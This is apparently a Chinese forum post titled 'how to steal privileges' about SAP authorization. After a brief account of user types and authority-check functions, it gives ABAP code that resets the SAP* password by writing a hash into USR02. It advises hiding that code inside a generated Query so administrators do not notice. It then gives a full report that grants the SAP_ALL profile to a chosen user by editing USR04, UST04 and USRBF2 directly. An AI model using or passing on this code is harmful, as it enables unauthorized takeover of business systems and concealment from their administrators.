..............................
如何窃取权限
..............................
用户:
User type用户类型(干啥用的不讲):
通常的用户类型有
a.dialog (就是normal user)
b.communication
c.system
d.service
e.reference.
通常你在使用任何T-code前一定会有权限检测的.
AUTHORITY_CHECK:这个函数只是小检查一下你的user有没有,什么时候过期.
**如果coding只要使用此函数就够了.
AUTHORITY_CHECK_TCODE:检查T-code
这倆函数是真正检查autorization objects的.
SUSR_USER_AUTH_FOR_OBJ_GET:
AUTHORIZATION_DATA_READ_SELOBJ:
------------------------------------------
将SAP*的密码改成123的程序,很简单.
我们找到那个user logon表USR02.
(DF52478E6FF90EEB是经过SAP加密保存在DB的,哪位老兄研究过SAP的密码加密?)
report zmodSAP*.
data zUSR02 like USR02 .
select single * into zUSR02 from USR02
where BNAME = 'SAP*'.
zUSR02-Bcode = 'DF52478E6FF90EEB' .
Update USR02 from zUSR02 .
现在的问题是如何让你那basis不发现,很简单,将code隐藏在Query里面,就是说你做一个
query,query是会产生code的,然后你加入此代码,谁能想到???然后你就等你的basis去哭...
这样做太狠毒了.还是自己偷偷搞自己的用户吧.
在此你必须对权限结构非常清晰.
权限和三个表有关系.
a.USR04
b.USR04
c.USRBF2 这个表是对应到所用的authorzization objects的.
*&---------------------------------------------------------------------*
*& Report : Steal SAP ALL Right *
*& Creation Date : 2004.04.01 *
*& Created by : Stone.Fu *
*& Description : 可窃取SAP ALL权限 *
*& Modified Date : 2005.11.02
*& Description : 将此code hide在report painter or query code *
*&---------------------------------------------------------------------*
report zrightsteal.
data zUSR04 like USR04 . "????????work area??
data zUST04 like USR04 .
data zPROFS like USR04-PROFS.
data ZUSRBF2 like USRBF2 occurs 0 with header line.
"USRBF2?????internal table
** Update Authorization table USR04.
select single * into zUSR04 from USR04
where BNAME = 'ZABC2'. "SAP All 权限
move 'C SAP_ALL' to zPROFS .
ZUSR04-NRPRO = '14'.
zUSR04-PROFS = zPROFS.
Update USR04 from zUSR04 .
**Update User authorization masters table UST04 .
select single * into zUST04 from UST04
where BNAME = 'ZABC2'.
zUST04-PROFILE = 'SAP_ALL'. "SAP all 权限
Update UST04 from zUST04 .
*?????insert
*ZUST04-MANDT = '200'.
*ZUST04-BNAME = 'ZABC2'.
*ZUST04-PROFILE = 'SAP_ALL'.
*Insert UST04 from ZUST04 .
select * from USRBF2 into table ZUSRBF2
where BNAME = 'SAP*' .
Loop at ZUSRBF2.
ZUSRBF2-BNAME = 'ZABC2'.
Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop.
INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.